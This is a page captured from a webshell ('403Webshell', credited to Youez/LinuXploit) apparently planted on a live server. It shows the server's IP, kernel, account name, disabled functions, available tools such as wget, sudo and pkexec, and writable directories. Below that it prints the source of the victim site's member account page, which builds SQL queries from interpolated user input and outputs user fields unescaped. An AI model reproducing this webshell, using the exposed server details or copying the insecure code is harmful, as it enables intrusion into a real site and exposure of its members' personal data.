403Webshell
Server IP : 51.89.169.208  /  Your IP : 18.216.230.65
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/members/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/members/BACKUP_update.php
<?php
$path  = $_SERVER['DOCUMENT_ROOT'];
include_once $path.'/connect_db.php';
include 'accesscontrol.php';
// css for menu
$styleAccount = 'color:#ff6131;background-color:#fff;border-top:1px solid #c9c9c9;font-weight:bold;';


if (isset($_POST["update_personal_details"])) {
	$fname = addslashes(trim($_POST["fname"]));
	$surname = addslashes(trim($_POST["surname"]));
	$address = addslashes(trim($_POST["address"]));
	$postcode = addslashes(trim($_POST["postcode"]));
	$telephone = addslashes(trim($_POST["telephone"]));

	$query = $connect->query("SELECT * FROM members WHERE ename='{$memberemail}'");
	$numrows = $query->num_rows;

	if ($numrows > 0) {
		$q3 = "UPDATE members SET
			  contactname = '{$fname}',
			  surname = '{$surname}',
			  address = '{$address}',
			  postcode = '{$postcode}',
			  phone = '{$telephone}'
			  WHERE ename = '{$memberemail}' ";

		$r3 = $connect->query($q3) or die($connect->error);
		if ($r3) {
			$memberName = $fname;
			$surname = $surname;
			$member_address = $address;
			$member_postcode = $postcode;
			$member_phone = $telephone;
			$form2Err = '<span style="padding: 5px;background: #d0ffc6;display: block;margin-bottom: 10px;border-radius: 5px;color: #005309;border: 1px solid #005309;">Update Successful</span>';
			
		}else{
			$form2Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Something went wrong please try again!</span>';
		}
	}else{
		$form2Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Something went wrong please try again!</span>';
	}


}

if (isset($_POST["update_email"])) {
	$email = addslashes(trim($_POST["email"]));
	$password = addslashes(trim($_POST["password"]));
	
	if (!empty($email) && !empty($password)) {
		$query = $connect->query("SELECT * FROM members WHERE ename='{$memberemail}'");
		$numrows = $query->num_rows;

		if ($numrows > 0) {
			$row = $query->fetch_assoc();
			$dbusername = $row['ename'];
			$memberid = $row['id'];
			$dbpassword = password_verify($password, $row['epass']);
			$dbcode = $row['code'];

			if ($dbpassword) {
				$update = $connect->query("UPDATE `members` SET `ename` = '$email' WHERE `ename` = '$memberemail'");
				if($update){
					setcookie("yl_user", $email, time() + 60 * 60 * 1000 * 100, "/");
					$_SESSION['ename'] = $email;
					$_SESSION['memberid'] = $memberid;
					$memberemail = $email;
					$form1Err = '<span style="padding: 5px;background: #d0ffc6;display: block;margin-bottom: 10px;border-radius: 5px;color: #005309;border: 1px solid #005309;">Update Successful</span>';
		
				}else{
					$form1Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Something went wrong please try again!</span>';
				}
			}else{
				$form1Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Invalid password</span>';
			}
		}else{
			$form1Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Invalid Email address</span>';
		}
	}
}

if (isset($_POST["update_password"])) {
	$oldpassword = addslashes(trim($_POST["oldpassword"]));
	$newpassword = addslashes(trim($_POST["newpassword"]));
	$repassword = addslashes(trim($_POST["repassword"]));
	
	if (!empty($oldpassword) && !empty($newpassword) && !empty($repassword)) {

		if ($newpassword == $repassword) {
			$query = $connect->query("SELECT * FROM members WHERE ename='{$memberemail}'");
			$numrows = $query->num_rows;

			if ($numrows > 0) {
				$row = $query->fetch_assoc();
				$dbusername = $row['ename'];
				$memberid = $row['id'];
				$dbpassword = password_verify($oldpassword, $row['epass']);
				$dbcode = $row['code'];
				$encpass = password_hash($newpassword, PASSWORD_DEFAULT);

				if ($dbpassword) {
					$update = $connect->query("UPDATE `members` SET `epass` = '$encpass' WHERE `ename` = '$memberemail'");
					if($update){
						$form1Err = '<span style="padding: 5px;background: #d0ffc6;display: block;margin-bottom: 10px;border-radius: 5px;color: #005309;border: 1px solid #005309;">Update Successful</span>';
					}else{
						$form1Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Something went wrong please try again!</span>';
					}
				}else{
					$form1Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Invalid password</span>';
				}
			}else{
				$form1Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Invalid Email address</span>';
			}
		}else{
			$form1Err = '<span style="padding: 5px;background: #ffc6c6;display: block;margin-bottom: 10px;border-radius: 5px;color: #8a0606;border: 1px solid #8a0606;">Confirm password not matching.</span>';
		}
		
	}
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
	<title>YellowLeaf - My Account</title>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link href='https://unpkg.com/boxicons@2.0.9/css/boxicons.min.css' rel='stylesheet'>
	<link rel="stylesheet" href="/header-footer/global.css">
	<link rel="stylesheet" href="index.css">
	<style>
		.form-group .select,
		.form-group input {
			border-radius: 4px;
			padding: 0 16px;
		}

		.form-group textarea {
			border-radius: 4px;
			padding: 12px 16px;
		}

    .avatar-section {
      margin-bottom: 1rem;
      width: 100%;
      /* height: 150px; */
      display: flex;
      gap: 10px;
      flex-wrap: wrap;
    }

    .avatar-box {
      /* position: relative; */
      width: 150px;
      /* height: 150px; */
      /* top: 0;
      left: 0;
      right: 0;
      bottom: 0; */
      /* background-size: cover; */
      /* z-index: 10000000; */
      /* border-radius: 50%; */
      /* overflow: hidden; */
      /* border: 1px solid gray; */
    }

    #upload_file {
      /* position: absolute;
      bottom: 0;
      left: 0;
      right: 0; */
      /* outline: none;
      color: transparent; */
      width: 100%;
      box-sizing: border-box;
      padding: 1rem 2rem;
      /* background: linear-gradient(rgba(0,0,0,0.5),rgba(0,0,0,0.5)); */
      /* transition: 0.5s; */
      /* display: none; */
      cursor: pointer;
	  /* background: yellow; */
    }
	#upload_label{
		padding: 5px;
		background: var(--yellow);
		cursor: pointer;
		border-radius: 5px;

	}

    /* #upload_file::-webkit-file-upload-button {
      visibility: hidden;
    }

    #upload_file::before {
      content: "upload logo";
      font-size: 1rem;
      color: #fff;
      -webkit-user-select: none;
      margin-left: 2rem;
    } */

    .avatar-box img {
      width: 100%;
    }
	.popup-close {
		background-color: transparent;
		color: var(--red);
		cursor: pointer;
		border: none;
		outline: none;
	}
	.account-email {
		font-size: 18px;
		padding: 16px;
		background-color: var(--gray);
		border-radius: 4px;
		margin-bottom: 16px;
		display: flex;
		align-items: center;
		justify-content: space-between;
	}
	.account-email button {
		padding: 6px 12px;
		background-color: var(--white);
		border-radius: 4px;
		cursor: pointer;
		outline: none;
		border: 1px solid var(--gray-100);
		font-size: 16px;
	}
	</style>
</head>

<body>
	<? include 'member_menu.php'; ?>

	<!-- NAVBAR -->
	<section id="content">
		<!-- NAVBAR -->
		<nav>
			<i class='bx bx-menu toggle-sidebar'></i>
			<a href="/members/logout.php" class="logout">
				<i class='bx bx-log-out'></i>
				Logout
			</a>
		</nav>
		<!-- NAVBAR -->

		<!-- MAIN -->
		<main>
			<div class="container">
				<h1 class="title">Update Account Details</h1>
				<!-- <ul class="breadcrumbs">
			<li><a href="#">Home</a></li>
			<li class="divider">/</li>
			<li><a href="#" class="active">Dashboard</a></li>
			</ul> -->
				<div class="profile-photo">
					<img src="/upload/logo/52.png" alt="">
				</div>
				<div class="main-content">
					<form action="" method="POST">
						<div class="main-box">
							<h2 class="main-title">Account details</h2>
							<?= $form1Err; ?>
							<div class="account-email">
								<span><?= $memberemail ?></span>
								<button type="button" data-toggle="popup" data-target="#update-email-popup">Edit</button>
							</div>
							<button type="button" class="button button-yellow" data-toggle="popup" data-target="#update-password-popup">Update password</button>
						</div>
						<div class="main-box">
							<h2 class="main-title">Personal details</h2>
							<?= $form2Err ?>
							<div class="form-box">
								<div class="form-description">First name</div>
								<div class="form-group">
									<input type="text" value="<?= $memberName ?>" name="fname" id="fname" placeholder="First name" required>
								</div>
							</div>
							<div class="form-box">
								<div class="form-description">Surname</div>
								<div class="form-group">
									<input type="text" value="<?= $surname; ?>" name="surname" id="surname" placeholder="Surname" required>
								</div>
							</div>
							<div class="form-box">
								<div class="form-description">Address</div>
								<div class="form-group">
									<textarea  cols="30" rows="5" name="address" id="address1"
										placeholder="Address" required><?= $member_address ?></textarea>
								</div>
							</div>
							<div class="form-box">
								<div class="form-description">Postcode</div>
								<div class="form-group">
									<input type="text" value="<?= $member_postcode ?>" name="postcode" id="postcode" placeholder="Postcode" required>
								</div>
							</div>
							<div class="form-box">
								<div class="form-description">Telephone number</div>
								<div class="form-group">
									<input type="tel" value="<?= $member_phone ?>" name="telephone" id="telephone" placeholder="Telephone" required>
								</div>
							</div>
						</div>
						<button type="submit" name="update_personal_details" class="button button-yellow">Update Information</button>
					</form>
				</div>
			</div>
		</main>
		<!-- MAIN -->
	</section>
	<!-- NAVBAR -->

	<div class="popup" id="update-email-popup">
		<div class="popup-dialog">
			<div class="popup-content">
				<div class="popup-header">
					<h3>Update Email</h3>
					<button type="button" class="popup-close">&times;</button>
				</div>
				<form action="" method="POST">
					<div class="form-box">
						<div class="form-description">Your email address</div>
						<div class="form-group">
							<input type="email" name="email" id="email" value="<?= $memberemail ?>" placeholder="Email">
						</div>
					</div>
					<div class="form-box">
						<div class="form-description">Password</div>
						<div class="form-group">
							<input type="password" name="password" id="password" placeholder="Password">
						</div>
					</div>
					<button type="submit" name="update_email" class="button button-yellow">Update Email</button>
				</form>
			</div>
		</div>
	</div>

	<div class="popup" id="update-password-popup">
		<div class="popup-dialog">
			<div class="popup-content">
				<div class="popup-header">
					<h3>Update password</h3>
					<button type="button" class="popup-close">&times;</button>
				</div>
				<form action="" method="POST">
					<div class="form-box">
						<div class="form-description">Old password</div>
						<div class="form-group">
							<input type="password" name="oldpassword" id="password" placeholder="Old Password">
						</div>
					</div>
					<div class="form-box">
						<div class="form-description">New password</div>
						<div class="form-group">
							<input type="password" name="newpassword" id="password" placeholder="New Password">
						</div>
					</div>
					<div class="form-box">
						<div class="form-description">Re-enter new password</div>
						<div class="form-group">
							<input type="password" name="repassword" id="password-confirmation"
								placeholder="Confirm password">
						</div>
					</div>
					<button type="submit" name="update_password" class="button button-yellow">Update Password</button>
				</form>
			</div>
		</div>
	</div>

	<script src="https://code.jquery.com/jquery-3.6.0.min.js"
		integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
	<script src="script.js"></script>
	<script type="text/javascript">
		var google_conversion_id = 1002183308;
		var google_conversion_language = "en";
		var google_conversion_format = "1";
		var google_conversion_color = "ffffff";
		var google_conversion_label = "VkY6CNTn7FEQjLXw3QM";
		var google_conversion_value = 0;

		function CheckRegister() {
			var em = /@/;

			if (document.RegForm.ename.value == "") {
				window.alert('Please enter your email address');
				document.RegForm.ename.focus();
				return false;
			}
			if (!em.test(document.RegForm.ename.value)) {
				alert("Please enter a valid email address");
				document.RegForm.ename.focus();
				return false;
			}
			if (document.RegForm.epass.value == "") {
				window.alert('Please enter your password');
				document.RegForm.epass.focus();
				return false;
			}
			if (document.RegForm.epass.value !== document.RegForm.cepass.value) {
				window.alert('Your passwords do not match');
				document.RegForm.epass.focus();
				return false;
			}
			if (document.RegForm.contactname.value == "") {
				window.alert('Please enter your full name');
				document.RegForm.contactname.focus();
				return false;
			}
		}

		$('[data-toggle="popup"]').click(function(e) {
			e.preventDefault()
			$($(this).attr('data-target')).addClass('active')
			$('html').addClass('overflow-hidden')
		})

		$('.popup-close').click(function() {
			$(this).closest('.popup').removeClass('active')
			$('html').removeClass('overflow-hidden')
		})
	</script>
	<script src="http://www.googleadservices.com/pagead/conversion.js"></script>
	<noscript>
		<div style="display:inline;">
			<img height="1" width="1" style="border-style:none;" alt=""
				src="http://www.googleadservices.com/pagead/conversion/1002183308/?value=0&amp;label=VkY6CNTn7FEQjLXw3QM&amp;guid=ON&amp;script=0" />
		</div>
	</noscript>

</body>

</html>



<!-- <section>
		<div class="container">
			<div class="advert-wrapper">
			<? die(); ?>
				<div class="advert-main">
					<div class="advert-main-header">
						<div>
							<div class="advert-main-title">Update Account Details</div>
							<p>Update your account information.</p>
						</div>
					</div>
					<form action="">
						<div class="advert-account-group">
							<div class="advert-account-title">Account details</div>
							<div class="advert-account-group-body">
								<div class="submit-advert-form-group">
									<label for="email">Email*:</label>
									<p class="submit-advert-label-description ">Please enter your email address.</p>
									<input type="email" id="email" class="form-control">
								</div>
								<div class="submit-advert-form-group">
									<label for="password">Password*:</label>
									<p class="submit-advert-label-description ">Please enter your password.</p>
									<input type="password" id="password" class="form-control">
								</div>
								<div class="submit-advert-form-group">
									<label for="re-password">Confirm Password*:</label>
									<p class="submit-advert-label-description ">Please re-enter your password.</p>
									<input type="password" id="re-password" class="form-control">
								</div>
							</div>
						</div>
						<div class="advert-account-group">
							<div class="advert-account-title">Personal details</div>
							<div class="advert-account-group-body">
								<div class="submit-advert-form-group">
									<label for="email">Contact Name*:</label>
									<p class="submit-advert-label-description ">Please enter your full name.</p>
									<input type="text" id="email" class="form-control">
								</div>
								<div class="submit-advert-form-group">
									<label for="address">Address:</label>
									<p class="submit-advert-label-description ">Please enter your home address.</p>
									<textarea id="address" cols="30" rows="5" class="form-control"></textarea>
								</div>
								<div class="submit-advert-form-group">
									<label for="postcode">Postcode:</label>
									<p class="submit-advert-label-description ">Please enter your postcode.</p>
									<input type="text" id="postcode" class="form-control">
								</div>
								<div class="submit-advert-form-group">
									<label for="phone">Telephone:</label>
									<p class="submit-advert-label-description ">Please enter your telephone number.</p>
									<input type="tel" id="phone" class="form-control">
								</div>
							</div>
						</div>
						<p class="advert-account-form-note">* Required fields</p>
						<button type="submit" class="btn btn-yellow">Update Information</button>
					</form>
				</div>
			</div>
		</div>
	</section> -->

Youez - 2016 - github.com/yon3zu
LinuXploit